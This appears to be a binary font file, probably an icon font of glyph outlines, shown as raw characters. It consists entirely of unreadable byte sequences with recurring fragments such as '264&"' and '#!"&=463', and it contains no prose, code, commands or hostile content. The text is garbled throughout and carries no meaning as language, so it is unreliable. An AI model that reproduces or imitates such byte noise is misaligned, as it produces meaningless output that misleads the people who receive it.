p+2#!"&5463"26454&+"'#";26P4&&4&0'*' `&4&&4""  76&7>.'/&4 4PL20#  .6"  P )B,,U 2& X '.54>?62>7'.=9*M@' Kcl?sSC) C_G PF%lJ#2#!"&5463264&"74#!"3!2 H ` Y8 @ &.BLT2#!"'&54%"32?4761.264&"6264&"%6.'&3654'73264&#"264&"' D '   C =# n L   .wNCCNwi   5  %@/!!$3#!"&=264ᕗ!2"'4&#!"3!265@ L  P  t(``(``8   $"&4622#!"&=46;27?>=#"'4"2642#!"&=463   Oq  9      (     pP  2         @#37.546232+#6=#"&=4632#!"&=463i=V=    /+==+/   P++P       I"&4622#!"&=463!'&54?6323>546;22676;232676.!!.!x  ff  '   '  P!.!!.            #+;2!65'546;23546;23546354&"2#!"&=463p @ @ 8 0 P 0 X    VJJV  00 00 @  @     /S2+"&=#"=4;54632++"&546;2'2+"&=#+"&546;235463h  0  @ 0  0   0  0  0  `  h0h 0h    h p      Q'&'&'&'>7'&'&'&??6/7?6/7?6/76/& 634 63ggf        45[45ooT        #-8B73+"+"=4&+"&%#.54622654''4''32674''326`   (   @$-5zzH  @    5,&]7Vzz/  M<62"'67"&5ԖԖ77ԖP88P8((n(88(#5%/6?6&67>32"&54>'7>76W 65_<Q "..C.  ";V " m($*  pJ/B//! A +  m7+ !!@  '%&'762&/"/&4?'.72"&40q"8??/ )$Y5g# >P88P8 /8??/$g5Y#Q"8P88P (2@7.'>7'&67&'.'667&'>7#"&'6#0#6&-V! `D$>_GE#707%0344LS)( F>/Ov]&K 0K*,-'p4/Gr 2Oc?Q&6'2U( 1)+*WR"/D_5E:BJRZbjr2+"/&>5462;2=462;2=462;2=4264&"6264&"264&"6264&"264&"264&"6264&"} !     I    I  )  )  P q! !      H  W    W  )  I  w   ` '/746;#"&52+!&"264"264&"264"264&``&@&&`Fn &&&&@@RnR 0#532'#617>3!#!"&5 3c` !@)>%2+"&=46;75%"&=46;7532#2+"&=46;750  P  P P   P   ``@  ``  @   ``92#!"&546;546;2'3554+54+"#";;2=32`P 808808@ 00 088088 "&5462654'Ukkkj,T6``M:^vv^:5*8ii8*G%/%#"/&'"&=46326763254&"7'&#"+'$<"B\BB.-@ $<"(#RA  ']1 .BB..B>,!1pp-:] )-2#!"&546;462&"2646/&'&7PP&4&6a  j.  R `&& j/ T%-5AMY2#!"&546;462264&"6264&"6264&"6"26454+";2=4+";2=4+";2PP&4&h`&&RRhh3;CK[$"&462&"&462'&67676563267'&'#5&$"264&"264&"&4622#!"&=463  H44H4 7VJ7.'&6;2!676;23&'67+"'&'!+"&67#7!36!&'# B--B   8   *M1,"  *9    $  ./DIID/   (?9@ $Z8   hB5=%'&>?7'76&'.'&7#"&=46;276264&"&5>!=!=<D-+,\Y pd- ((cc 5) G,8,7#   $G((B7"&546;7532#2+"&547#"&547#"&5#"&=46;2 00   S((S 0 `   @     p   6#532;#!"&546;4+54+"#";;2=325y 7   @808808W     88088/8;#!"&=32?3264&+'&"'&+"=4;546;#532   F# 9Z F# 98 ș 8   Fr,  Fr( i @ )346;#"&5!%;;2=32=4+54+"#"%2+00@808808P0p@0@088088@%1=Ieq}2#!"&546;546;254+";2=4+";254+";2=4+";2754+54+"#";;2=3254+";2=4+";2      ( ( ( ( ( ( ( (  ( ( ( ( `  p @  @( ( ( ( t( ( ( ( ( ( ( ( #2"&454+"#54+";2=3;2ԖԖp0`00`0ԖXXXX@.82#!"&546;35"26426'.+"'#"3#546;2 F4&&4& "*  @ ```&4&&4    `` 9E2#!"&546;462&"26454+54+"#";;2=32=4+";2PP&4&6H808808`&&0880888<@7"&=46;7532##32#!"&=46;5#"&=463!25#!5# p@@p 00  00 `    @     @     @@@@@D '2"&=454&"7.7>/&76B\BB\B(/vT"S #/B..BB..pp# Sv/7Tv/"!15!#!"&=32=4+532=4+532=4#72#!"&=463 @ xxxxx   @  @@@ 0  0 52#!"&=463!#!"&7;;2=32=4+54+"#"h   @ @808808 0  0  ` 088088#?G%2+"&=!+"&546;235463'"=4;276232+'"/"&462.B       2f z2L4&&4&B. 00 `  (c 7  ,c 7&4&&4IQY^%2+"&5#"&=32=4+"=4;2=4+"=4;2=4#!"=4;5463!232264&"264&"75'#p 08P88P88,d,((\((d,`   (88((88(00dlp(((( dp #37NZ%2+"=43+"=4&'&=4;22#!"&=4635#+"=4'&=4;22+"=43x0).0$0p `0$<0X0` W1&B%>>  @p@@B9!,*AB>,>7//&?'&??6/7?6'7//&?67'&?6@&@B C8 7-8  -I""9- AC B@&8 7.8  -J""8-  $.2#!"&562#".'463/&76.76dx[  / [<7*T #/F/vT #M::c:M$1kTv/#F# Tv/(#"&4?57?6/7?6/7?6/7>#dYY-2 2-2 2-2 3.M!RYYe.3 2.3 2.3 2./#"'&6?'&?67'" +/ "FO" $ R "EO';?"=4;2+"&=3352#!"&=463"=4;2+"&=335H/B/0@  X/B/0@00!//!``     00!//!`` #A%2#!"=432#!"=43%2#!"5743%+"=4&#!"+"547%62ppPP`00`0000   W q!22#!"&546;2654'"&462'"2654'76.&&&&qqd^^^" " &&&@&-3OqqO3-^^^: O 3}62"&4"&4622#!"&=4632#!"&=46;!'54+532=4+54+"#";#";#";#"26=3264&+532=4+532      `  0`hhhhhh@(@(@hh@         @     `    ((  "-%2?/.=32?7/76!6/.7  @@ \  \ ' 66 'kkp8   8$,2#"'#"&'&>7&54264&"264&"264&"Ԗj83AL9szz319JVv$747#"'#"&767&'&?6632@ E&(83AL, 9:  iI`j9 3 4+9    R5zVH:974&+463!2#"!%2+"&=!+"&=&546;2!5463& 8(@(8 && @ @ &  &(88(&@`&$y  y$& `` Fh$"&462'+"&;26=>54&/&546;2?6&'&'54&+"2#!"&=46;#"3!2=4+67Vzzz"? &    "> '     @  +? l @, zzz$!   $!    `  ` '' )1&'67673+#&'&6?&'&54762546264&" N5  ,pp ^BMA k.U}N/  ;1% E8K@B^8H$Qh=7 EX"#!"&=46;76;2+";2?62m= <m   7/ * N v] rH HrH  y ` &   J!>e.'&67546;2'&+"+"&=&'&4?6;254'#!"&=46;76;2+";2?62   2    !    5+' J pX 0%    %     y ` &   J"E7+"'&/&=4622?6/&>$2+"&=4?>2?549  i Z & i  9& ZM"+p   l 3   p+"M  3 l %@2+++&/&6?54?26=%54&+"&=4?6;76   &g P PA*<*, P!"!gg  0 @ &< .0$'z**8% .!X~  < 5++"&=47'#"&7>7#6;5#462#327#4'      .C)>t0pQ^Qp0t>?X     $A,DlRnnRlDTen"&462"&462#"/?#"#.?6?'#&/&/"#"&/&?676546;2?676.7((d((N ) C     +3 3+     C$    #) `((((p E.d L] \1G !! G1\ ]L P '" ` ` "' .E  @CKZ%2++"&=#+"&=.5#"&7>32+";>;26;264&"'"4&54621&#0 1  @ @ ("  + X:,  i  8P8    Q 00 Q'0&   7I"L@  (88()?/.%'.4>?6762'67&"uO[D  E , "k ,"O4!Z!Xf  # I  I@&W;&.;C%2#!673264&+"&46;&5462#"3"2642.54264&"(88(  `(88(--8P80`  mxP80 5S8P8!8P8@ (88(P8(P &V(H2+"&="&5%3&'>@]   ]@tU+)2;`] ]@V =/*#'2#!+"&5#"&=46;546;25!    0 0   @    p   0 0"/<62"4&"276'.#"?62&276&"Α7   % &--  #nYΑΑ     o66  *!2"&42#!"&462&264&"4&&4& p]CP88P8&4&&4   ]^B@8P88P)17'&>?7'72&!#"&'/&7%46264&"21M>M2 LB.-Aw Z((H\] :~p.B?-l.^D @(()19?G%+"&547##"'#"&5463!232264&"264&"%3'&#264&"m /B//!((!/  &0\+V !//!!/ /!P  `0+&/'&?632576%5#!"&z %  N n" n    !  =K   %2+"546;5.?4>;2(4@ @4u W77W u!'&?6>323!"&=46z  M23232+"&'7;26=4&+"/?+54&+"#"&=46722"&4&2#54@ P0.%  P`P8(0(8H $$ $$3EP PE30p  W ` +5$ ` +55+X(88(Y$ $$ L3 @  @ 3L`   00+$"&4622#!"&=46;27%/&?676jKKjK&7OO7#L#T  Q  -i KjKKjkO7**7O R  -h +3$2"&454+54+";2'!"&=46;2732&"&462xTTxT & < (#O7#L# +jKKjKTxTTxB 6 L ,L*7O&HKjKKj;CKv%/'&=&''&'&?&7'&767667547676264&"&"&462#!"&=46;2732332?b !!  !! ((jKKjKI O7#L#     K    0((tKjKKj *7O  ' $/$"&4622!"&=46;277&7%'?62jKKjK&;)NO7#L#>G= *H%KjKKjk.M = *7OG *H&#76"&4622#!"&=46;27$"&4622+46=4'6;27\BB\B#0CC0 !F!P88P80.B(*B\BB\bC00C 8P88PXB.'9+:%#!"&=467&4?6"&547'+"&?&5475?6KK6_`KjKB * M6  6M_P..5KK55 > > ;3;C$"&462!"&=46;2730%2+"&=46;5462264&"754&"jKKjK O7#L#   /B/]@KjKKj*7O  P!//!P}P  P+%2+"&=463"&4622#!"&=46;27p  jKKjK&7OO7#L#     0KjKKjkO7**7O%-%#!"&=467'47&52>32#"&'7"34&#E4GG4e++1#5KK5,C g  L4**4Lf33( KjK5)` 7%'.54?6>7'&"&462#!"&=46;273230n$" 5Ps !;`jKKjK 7, O7#L#$@/&sN-N:&KjKKjsDm#*7O!'&?6>324>7!"&5z  #8!5K0&3     r 6K5)B 9%+@%"/&=46;22>4.#"'".54632#!"&=46;2732w \  [O\   #;"K5#;"KK:O7#L#S  ] [O E X";#5K";#5Ko(:*7O$"&462#!"&=4677'3jKKjK 5KK50 ` KjKKjlN5**5N88;CKb%/'&=&''&'&?&7'&767667547676264&"$"&462"&5462"'&#""#"&=46;323630#3273'#"&=46;2b !!  !! ((4&&4&.BA]B    fD/ !##   (B &@k    0((t&4&&4FB..BB. " 0C ' :# &*BE[^!2+"&5&'&/&6?&5463276%#"&505467>762'3'1"&50546767623'    /!.v    ";#5K   < SȐH KjK  AWZ46;&/.?>632/+"&5'054676762"&73'0546767621"&73'`    v.!/   `  < SKjK8H  <  KjK8H '!, '(/!+ 0  96(!//1 95(&4<!//1;?%2#!"&=463264&"";#";#";!'#"&=463!3'#% %sHri gQQ F@%  %`@@@`@@"6#.5476'&'"&546 O M{O  ' l //  ' R $9Kil"'&476;2#'+"'&476;2%+".7>&'&>;22+"&764'&63&/#/.7&54>23'  "  _  #  #  #   # y  "  R 11  "p`0 6 , 4]+ 9|9 9|9  )[6 @ 6 , d  vv  :t)%/6?6&67>3%'7>76W 65_<Q ";V " m)$*  pJ +  m6+  !#463!2#2#!"&=463!53`@@P  x`     @@472+"&54632276&"&4622+&'3533!ᕗ/AA/(P88P8P L@!`B//B 8P88P&@@ 2.-7@%#54&"#54?5#"&=46;546;232+46?#"&5%+5`%6%`p0 0   0 0 mp m p `%%` D3   0 0   3 / d  (085 7"&5"&46232>7"&5%567$2"&4&'67==qqqqqh:&H>qq?!#ppp 0n37++++&&@&4&&4 4&&)? +  /B//B "%+2"&44635"264&"62"&4ΑΑX^BOqP88P8SΑgB^ qO`8P88PH)12/"#"+/#&54754632264&" (8`M=)  ,'&  ,ay t/!'J%PAep  xh  x= %!/ H;!2#!"&=4632#"'!'#"&4626?&5462?&54 ` (HH(H R(R H     @(( +  + (08@HP2+"&=7>'264&"'"/&4?62264&"264&"6264&"6264&"264&"P ((.1((rr'/72#!"&5463264&"6264&"264&"264&"6264&"%%%%3ss%%%@%ss'/2#!"&5463264&"6264&"264&"6264&"%%%%3%%%@%2#!"&5463264&"%%%%%%%@%'/7?2#!"&5463264&"6264&"6264&"264&"6264&"6264&"%%%%3%%%@%MMMM'2#!"&5463264&"264&"264&"%%%%3ss%%%@%ss2#!"&5463264&"264&"%%%%3%%%@%62"&46"&4622#!"&=4636%%6%[6%%6%   `%6%%6%6%%6U  !!2#!"&=46;463!2&264&"p  p m     s"*!2+#5326!"&=46;467264&"p `p P    @!   m 0P%2#!"&=463%2#!"&=463          "33&'"&476&&67>7>' !b'bGE:B  )!.,_Q'g9,'1B  5t*"-,!@9A32+'6.'&"?632#!"&54>7>2264&":) b6  Zw F#  #& #O  &5HX0,:,S_#Vi  ~,  B0  %1]L<%%%C@D!2#!"&=463'.=4&+!46;23226=.='&4?625#P  /!%&&$4&      U +,p`&&4$  >& @CP]%+"&/#+"&=4?>/&6323632'&'&&/&6?67&#";26%5&#";26>C0%.B$B.%0C- C$ '));7J7;))' $C ##%$%6$%##%F/C=,'',=C/F&%        %&) %% )%&/&6?'.?>n    "   ff  (.?>&/&6?2#!"&=4637   .   p  T  xx  D 0  0 &,>%"/&6;235#"&=463!2+2#'3.#!"&=463!260 V  (+а  ] }#4!# F  @ s@l :@     @] |4#     `)2#"'#"&4632627&#"!2>54&#"FccFQFFQFccFQFF////!+L +///`^^OO^^OO@@&  &@@@4@D%"#"/#"+"&=#"'+"&=.54>76;2264&#"5@  J LL    ,4$0 TFCP .Ew  h 1 ; 16 JY4)D& 0.=K  c %'%&=467%6m   3  Z  "   f&7&=47%6'2#!"&=4637.    D  p  x  DD  B 0  0  $H!5>4&'5463!25#35#35#5!#54&"#54&"#54&"#54&"  @ `@@@`@     = cc#  ``    5U'&?65462#";#";#36=46;22+"&=46;5.=7z   8P8U UU UU),  L  8AW4 <)2    -(88(  0 0*&   " iD)(9'"&,4:@#"'&#"#"'&54632326322>7&.#6264&"575&'m +1>>?5 +1>>?  $"%B//B/`   >= >d=  $8P88PT:1 #&#"'&#"#"'&5463232632264&"m +1>>?5 +1>>?B//B/  >= >8P88P %1=G1!#!"&%;26=4&+";2=4+"%3!2=4#!";2=4+"2!5463  ` ` pp00 @     Xh@ 00 KWco2#!"&54632>54&/&546;2?6'&'54+"+"'&;25754+";2754+";2=4#!"3!2`    -  -  ppPP              h3%#32+/&?#"&=46;7#"&=463!7632bK  S  37  K  R  4 ` j  C ` j  C %-56+".7>264&"6264&"6264&"264&"PU&P&(/hP) n/3=N&@";*P}CJmm-S"*2#!"&5463264&+";26=72+5(88(`   0  0`8P8  0@"&462"&467"/&4762%6%%6%%%6%%F     %%%6%%%6%%6%     $4%2+"&=4633#"'#"&=46;2%2+"&=463   @@$I`        @0p    %1=I6/"/"/&54676276254+";2=4+";2=4+";2f&6 66 6&&6 66 6 ------  -----hh !%-15=G546;#"&52#!"&546;54625#6264&"5#35#6264&"72+5 !/&&/!p`@""@@""    /!&&!/@  @ x"" x""1 7&/&6??6/7?6/7?6/7?6/7?6/76|  P E< <87<<77< ;E   'ef/0ff/0ff' #G7&546;2#";#";#"32#!"'73;2=3;2=3;2= ` 88888x  @)@@)  @@@ ` 888888@@@72#!"&=46;;2=3;2=3;2=3;2=3;2=   0@@@@@  XXXXXXXXXX/73+"&546;2#";#";#";#"X  XXXXXXX @    @@@@ /7A546;#"&52+"=4;27#54&+"#4?62264&"%2+ @P h0 ` 3B//B/p  P  @@(@  u k/B//B  @ #.'7562"/&47@`>S S>+u  5 @S S>+>u 5  !4"&46;46;#"%2'&/52>76#"'.#57676%% % ,IfHM-4#-:+0MH2N/80+:-#3 %6%6%2.&B   B&,  *2:2+54+"#54+"#"&?6'.54264&"264&"Ԗ* N@N  ,24&&4&4&&4&]"A6 B8888 B Z4]&4&&4&&4&&4 /J7546;#"&2"&427735654&#"32+'2+"'.#".'46;2` `v 6ԖԖ=2$q| 3$qO=2| #,# @ ` 7Ԗ$ 2=Oq o2=Oq$| @   t3#"'"'"'#"'.?63!22767#!".=327!5Z&/,XX-/&A     @   I(Z!!!!!!Z(h   dd %%53#!"&53%#!"&?63!23+"&@@ @  U  %@   @  "" /"&=463!2#2#!"&=4632#!"&=463  @ ` ` ` @ @ @ P @ @ @ @  7'7'772"&464/76/&'7?6/76/&'&'76/&'&'76/&'&?'&?'&??6/7??6/7??6/76/&'77'7----------jԖԖ ."   "-  -"   !-  ."   "-  -"   !-------D------qԖԒ -"   !-  ."   "-  -"   !-  ."   "-3---+/M%#54&+"#54&+"#54?6;546;232'5#53#!"&=3;26=3;26     . 33  @      S  S . PP @@`  `  %/&#!"&=4&&/&6?267w9 9 9 9?L?` r  r `C:I"&462/&/&/&/&?.?67>327"&4?6((.   -   < " #8 ( ;  2 `(( E2 Y  J B"<      *"4 ," <  2 $2#!"&5463!2#!"3264&"s%%p  C@%@%  $6O2"&42654':12764./&>'&"67627>'.3232654'ΑΑ P  b FbP  ΑW    &&      @"2!2+"&=4&"+"&=46;!2#!"&=4630  8P8       (88(   `      #:BJ%6?#&''#>#6&'37.'#!"&5463!2"2645!"3>- '' -V ." '--'L    )77)FjKKjK 1) )#*)11))*# 4  7)@)7&KjKKj@,x7327/"&?#'&/32767672>367'&"&'.'&'.'&764'&7>76767676276&2654.#"a4%4 .  ! 4%4  J          7N7+'U &p Y&           P88(,-2#!"/&4?63'76/&'&??6@%% >>  >>  >>  >>  %%  >>  >>  >>  >>  '7M]2+"&=463#>7##"&46322+"&=4632#"&'##&'6=3>2+"&=463p  `  @62 9*P  %% %  `  %% P*9 26U   `   `  ` 8H '?0O  %6% `  ` %6%O0?' H `  ` 1;#"'&54675#"&=46;2+7'&?6/'!&/5#.&4,  ' 4 +%%`@!,34Y     ' 4 +.53,!''  #2!54635!+"&=#"&"264`  %@%6%@%  %@%%@%M4@HR\d2+++"&=#+"&="&=#"&=46;5462%;2=4+"264&"75#";26=4&+264&"        =p  p  ps@ P       P 0".."08] `  ` [%#"##"'&'+"=#"'&767"#"'&4767.'4546320454>762>7632 (8 n ?6264&"6264&"264&"$ E'*M+ 7  $!E'*M*7 3*'E $  7 +L E"$ 7 +#+3;%/././&54?>?63264&"6264&"264&"# E'*M+ 7  $!E&*J5J3*&E $  7 +L E"$4J5Jq1%2++"&5#5323#"&5#"&=46;546;2  ( 0   (  ( 0 ` 0 (  H` H`  0 (  `'3?K[g2#!"&546354+";2';2=4+";2=4+";2=4+";2=4+"754&+";2654+";2`   @@@(   `   H00 0 y!)A2"&4>/7>.'&7264&"7'76.'&?>ΑΑ c4&&4&Α> &4&&4@H%/67#"'".5'7&'&6?67&5462'0"0"132676&"264767,RL\142G6G! D 8P8 4#03C#"9d h`:_~)= {:|"  v(88(Y$ Xt 7/  C-D54&"54&"&'54&"&=4632762654.'&'&6?*#"7?@:FF:@w('   c9%  WcG6-#`  zo  oz  `#-5K`/!a 5/B/@  *62"&=46/627.#"75&"26>54&'8DF;<<"} @ &4&/&:!D8K55KK55S, &&    &&m& ,!33#"&476&67> -jQe:K? 9  2D[OV,}n5119  ."3W8.)T];#!"&546;;2=4+";2=4+""'.'&"+";26?212?62;264&##532   ȠPPPP +"       / I 8    HH )6  2     '0;#!"&546;6&+54&+"#"27#532   L A   A ` 8    P P`R G3#532&=#53546;#!"&546;;#" b `@@     Fb ` A@A |      373#"&=46%#532;#!"&=3?6/&#46;pp  7  ` ` Ƞ@       A ` ` A  *6BR%#5%#532;#!"&546;;2=4+";2=4+"54+";254&+";265  7   ȠPPPPPP   @@     HH ` &2m#532;#!"&546;;2=4+";2=4+">54./&546;2?6'&'54+"+"'&;25y 7   ȠPPPP -  -  W     HX          ;CL;#!"&546;&'654&+";26=3??6/76/#5327#532   E !!%P  ;   00 ɀ b8     !&%  0;   7  bA7@EO7;#!"&546;;&'.'&"+";26??62#5327#%'762     +"     b`DED (    /R )6  2  (bDD'0;#!"&546;26/&";;26=7#532   A `` A    8    ``P P &%"/&4?'&?67627'"/ Pu_V  VR  [1;;  ;Q  uP_V  VR 0;;  ;R @ "1%"&546?"/&4?'&?67627'"/@%6%  Pu_V  VR  [1;;  ;Q]#%%@  uP_V  VR 0;;  ;R  -A\n62#"&76'47'.76'4&'".76'&6&'.76'&767'.76'.'".676#"&54'&676'&'.#&#0#"&=&762 +>   " ;I   (Lm Q9     ' "&(X<9  GKl>60 rn ik `<*MK  GH  ML  FI)< #.><  79?1:kJ55 897O z,  ' V   <9R  fHJ* @`$2#"&'&?'&6>264&#"G0a@((@a0>p&X  W&p  `)7337)<*B nn B*<  '/$2"&4&2"&462"&4264&"24+"36264&"NΑΑP*<**<<**<*ΑΑ)<**<* h*<**<'2"&4264&"6'.#"7626264&"ΑΑ =(" 14)Α* "  32+"546;5'&63!2!!88J0**0j2"&446;.'+";2;2/&+";232?676?6?6=4&+"/&6?63232?65ΑΑ Y;  Z  /       ΑG :R               _n2"&4654/&+.#"/&54?632;26/&54?6;2?6/&?6//2?676767654'ΑΑJ  C       G    _ Α         G&     /d /*8m2"&4762;2=4/&4?&#"32?6;26=4/&?63254/&=4+"+"/&+";237632;2?6ΑΑ 3Su>     '     Α_N  & uS-  f        !%)-15=DK2"&45#375#"6264&"5#75#5#75#5#75#6264&"5#326=4&+ΑΑ(   5000p000p000`(  Α( 8( ((8((8((8((8((8((h(% (&2"&4"264&"2642676&"'&ΑΑU`Y // Α6'  '#22"&4%2767&'&"2767&'&"2676&"'&ΑΑ8+`Y // Α!" !" !" !" 6'  '+92"&4$"?626'&'"?626'.2676&"'&ΑΑ[&#  &  #  &   `Y // Α)))  6'  ' -AP"&5476227"&4632&"?626'&'"?626'.2676&"'&(**0 ΑgJ>/L&#  &  #  &   `Y // @77<03gΑ)!.)))  6'  '':2"&4?6&'&'&2676&"'&%>'.'.7ΑΑZFi`Y //  ΑF  6'  '  F#12"&46/764.?64/&2676&"'&ΑΑP!!!!PPX`Y // Α-0(( ((006'  ' /<JZ"&767622"&47667'676&&>'?6&/.?6.>'&26 * )!)yG!)yG Z  4]Z  4"k,<@PH)H) Gy) Gy) ([ 4   Z`"a$,k .G2"&4?6/76&/&"2676&"'&%6&/&"?6/ΑΑ_# F`Y // '# #Α ##   6'  '    ## 6FVd72"&476"'&'&61"&'?676&>32&'&&"?626'."?626'&2676&"'&f )S) Hr  ss   _?lE K&#  &  &#  &  `Y // H))G R9DD9R]:e=b)))6'  '%-K26=676&"'&.54264&"264&":#".=6362?>ΑYH * // * HY&    gO~.$  $.~OgW@%  ?   ;HU%:#".=6362?>26=676&"'&.5464/&?'76&6%&    ΑYH * // * HYP!!!! PPI@%  ?   lgO~.$  $.~OgA0((((00%8@^2"&4&26=676&"'&.546'.#"?62264&":#".=6362?>NΑYH * // * HY  % & 4&&4& &    gO~.$  $.~OgP    0&4&&4@%  ?   "1<62"4&"276'.#"?62&2676."Α7  % & Y`Y /YΑΑ     a '66'  `/?O_72+"&=46;2+"&=46;2+"&=463%2+"&=46;2+"&=46;2+"&=463`  @   @   @   @   @   @   @  @  @  @  @  @  @  @  @  @  @  @ @/?O_2+"&=4632+"&=4632+"&=4632+"&=4632+"&=4632+"&=463`  @  @  @  @  @    @  @  @  @  @   @  @  @  @  @  @ @ @  @  @  @  @  @ "@72+".=4>;2+"&=4632+"&=4&#"+"&=6  %  Ҕ  zV8`8   @&@ ip pVz8`8p piF7+"&=46;2#"&=46;22+"&46;23265454&"+"&=6 %%   %%Ҕ5% fzz  p %0% p %0%`i%5(VzzV i!77/'7'&54%'76DC#)#+3`3 + FC##* 3`3++ǩ';GS_ks&'&'&6;2+"'&'&'&6;2+"2#!"&=46;254+";2754+";2754+";2754+";2"&462+ + n+ +  %%%+o```6%%6%($> ($> ($> ($> @ %%% Spppppppp@%6%%6@-=M]ms#32+54&+"#"&=46;#"&=463!2;26=4&+";26=4&+"';26=4&+"26=4&+"334&"%54&+";26=4&+";260        &&&&&&3&38P8&&&&   P P        -&&e&&[&&&&(88e&&e&&7DQ&=4;2+"=46#"'6+"=4.'&=4;22#"./2!2+"&/<0(0$qYZ).00vYuV   v *AB>,9!,P8!W1/' %>>    p  -52"&4264&"4'654.'&7>264&"ΑΑ##") ΑW      5G2"&465."?624'654.'&7>765.#"?62ΑΑ #&#  & h##")A  #  & ΑK))      !)&.Ma%/&>7676#"&462&#.&264&"4'654.'&7>?626'.#"S  /4gΑ T## ) '   .! S   TΑg.,%#           %2"&4"264&"2642676&#!"3ΑΑU87Q  Q7ΑH6 6H.<2"&4?626'.#"?626'.#"6&#!";26ΑΑ  &  #   &      Q77QΑ6)!  !w 6HH#12"&46/764.?64/&6&#!";26ΑΑP!!!!PP  Q77QΑ0(( ((00 6HH!/2"&4?626'.#"&"2646&#!";26ΑΑ  &  %Z  Q77QΑ5      6HH ALP7"&=46;%+5322+"&547#"&547#"&5#"&=46;2#46;25#  @ 0 S((S 0 ` ``0`      p    000@ #/2"'&547.=462767'5%6hJrrw ,!!/  J4>>40? (%@%( 8 @ !+72"'&54264&"7.=462767'5%6hJrrm""w ,!!/  J4>>4^""I0? (%@%( 8  ?&7>'7'/&?6276^KK"r/ 75bW  i ! %KK"7 /rD5KbW  h $ 4'&6;2%2&'7632"&46&/&"?6/?/o o U o/?E ʒggg 44&  //  = ++ sggg6 // %4  42"&4264&"264&"ΑΑΑW!32"&42654'"&54724+"362654'"&547ΑΑX&4&""4&""ΑG&&&   p&&  &*!2#!"&=463!6?654&+";26p  M M0FF     [; L L&& +#76322++"&767.5#"&=463d  C6  6C c$   76732#!"&5463264&+"36264&"7#&- '' -V.  'j  %%  ;jKKjK-'1) )**h*#f)1 @ %%`   `KjKKj1)?'73264&"'766'OTc!] ];1#]$b!cT;] ]'T(b&7'73264&"'>%'762+  (] o99(5+](  B(99$67'&4?622?'762'&?%"/7?md Z  "> >,.q.(-qk  Z  d,> >d  Z "> >,.q.-(q k  Z e,> >.!2#!"&=4637&=46'46'%&'p   'f0 A db+ (&+     e  C   1 N 1!2#!"&=4637'&6?627'&6?63276+"p  AM(HhAc++.,     kS$4b!R21'$*2%//&?'#+"&546;276%3264&#-N  NN  N   (80$TN  `  `N  NN  NP  8($6TN  @.6J254&""'54&".546'.#"?62264&"76'.#"?62ΑA7  .d.  7A   % &9((  % & gBq!  !qBgG     &4&&4    #.2"&4"2642654'&"6264&">'&#"32ΑΑU(**3-F7Α776 !)-59%+"&5#"&5#"&5463!235#264&"75#264&"'3'#u  8P88P8  R``L((`((0PB o (88((88(  `((``((`=2##"'&7#"&?6&&/&?6>76327>o )"( C#+M b:  7:& *KJ 6 E=  8= ' %#3hG6! ''92"&4?626'.#"6&"'&276'.#"?62ΑΑp  &   #  #n#  -3  #  & ΑF  )  **  6!)(,048<@!2+"&=4>;53#!"&54>3!23'7#?#3'#73'3'#  07  7   j ` gFrj        B 1``pp``p``pA,2"'.543267>&'&'6768'SS''?D++D?'!FG"%;?QQ?;%$'88'$oo==o"%/&&?6/&6?6%">H6 F&3 &)'H!.L  C>"( 4949/!=  !)19AIQ#546;22"&42#!"&=463264&""&4622"&4&2"&462"&42"&4 @ (8 8(B//B/Mss`` m 8(  (8/B//B3s*5!2#!"&=46;26=4'&5463 @(8 @ 8(C  D-+ @@@8(  (8 (2,:+ *$ '#"/#"&?'&6?627// jj A ( ARr 3f&gDDg&Qg 6r#/;I2++"&=#+"&=#"&=46354+";2=4+";2'#546;2#5P     0`0   hPPPP2"&4264&"264&"6264&"ΑΑC4&&4&Α*&4&&4 (048%2#!>?465762'"&546;2264&"75#75#  ? K  9O8  j8@@@   K -(88(  _@@@@ hT\7&'76?6/&"'&+""2+"'"'"'+"&=46;276;2276;2276;23$"&462 D P(1d"dq 0  0 :&&t&&t&&: %JJ%1B//B/b 9 "& P      `/B//B4j%2+"'"'"'+"&=46;276;2276;2276;23%"'&'5462+"&=4&"35462+"&=4&"#5#p :&&t&&t&&: %JJ% 8P8   8P8          (88(   ``(88(    ` '&?66762%47#"&z   (-6,!2BIg    >@4_6I& (&-h#22"&46/764.?64/&"7626'&ΑΑP!!!!PPRM )) Α-0(( ((00>-  -3#"./.""&/&'&'&7>76676/676%   "" %2" #d   0)"2`>1(CS9"    "9SC(2="3 @# 3 1.7>>327/6'&2#!"&=46;7s-G'I!`+ .#:?f  I;&5463232&264&"`I <8(,< ))$ (8, %"2+"546;5.?4>;23'(4@ @4ru W77W uPP/7;%+32#!"&=46;5#"&?#"&?&5462+&"264#3{ p  p ^1 r(r 1V  `  ` `  a ~  ~   y "5#"'&"#"'&'&767676676'#'&7676763_' $+A A+$ '*$$*?#/++G0:  :0G++/#  % $  (/6BJV^%'"''&7&766267&'&'767*#">"6727&'76'&'66''6'&#"#"#2"&47W$|$W77W$|$Wk% , 2 `!!!! % K54 VV 45KK54 VV 45  # # %%x####( # #   `O%#"&'4.#!"#"&=46764'.=46323!2>5>32W,' ',,  ', $,   ,$  $,   ,$+"&462'&'.=46%2.=476`8P88P> F|  < |E DP88P8#   ")@%K2#"&'#"&547.547&5467&5463021>#"'#"&546320212&*&*(&"*&*&"&(&** (.( &( **x%& (+5HY%+"&=!+"&=&=46?>;2%!'.+":>54&#"!264&#":    "9 9  " N   !06   60!2 & 222 !  #/K2#!"&546;546;23546;254+";2%54+54+"#";;2=32  @  ` ` pp((((@   0 00 0((((*fz7&?6/.?6/&6?>?6/.?'/&'&?&'&?676?676767676%&>76&'&'&/&#"&>76 #  NA 2M  +=   %          { }     {  l)   .M  +=  NA 28+$/ 4 C 4. + ! 5 d   )6! +.O $,04<2+"&5#"&5#"&=46?>;2264&"75#;'#264&" (8 08P88P80 0! m|((xM&MY((8(P (88((88( p"z ((```((@Qh!2#!"&=46332'.=4&+!46;2327>=.=46;5462354626&+76&+";327P   2"'%%$4     : D ;     @  *x!..p`%%4$  v*  0 00 ` 3 kS'%"/&4?626/&#";2=37   {U p  `    N6 P@6'8@HPX`%2#"'##"&5475&546323632#0#23'"1"&46;7#264&"64&"2$"264264&"264&"%%%%% %%%%%''&%%&  w     @  `%6% %%%% %6%A A @%6%@b        7AE%'&?67&?'&?6'2#!"&=46;;267!463!2!: : $$ U $$ : :  &&  =@; ; $$  $$ ; ; && pP0&4?62'%/&4?2?/&4?2?   ;  : :  ,jjjjjIIjjII!;G7"&=463546;22++"&=2#!"&5463!2644%"=4;2#  @  ( $   5KK5Oq1     KjK@qOI7  `26A6#!"&='.=4>3235#"&=46;2+325'46?"&v F   88  8920 +$   /  _ 0   0A?>] +>0%#!"&5467&546;&546;2654'6323232#**#*%!/ 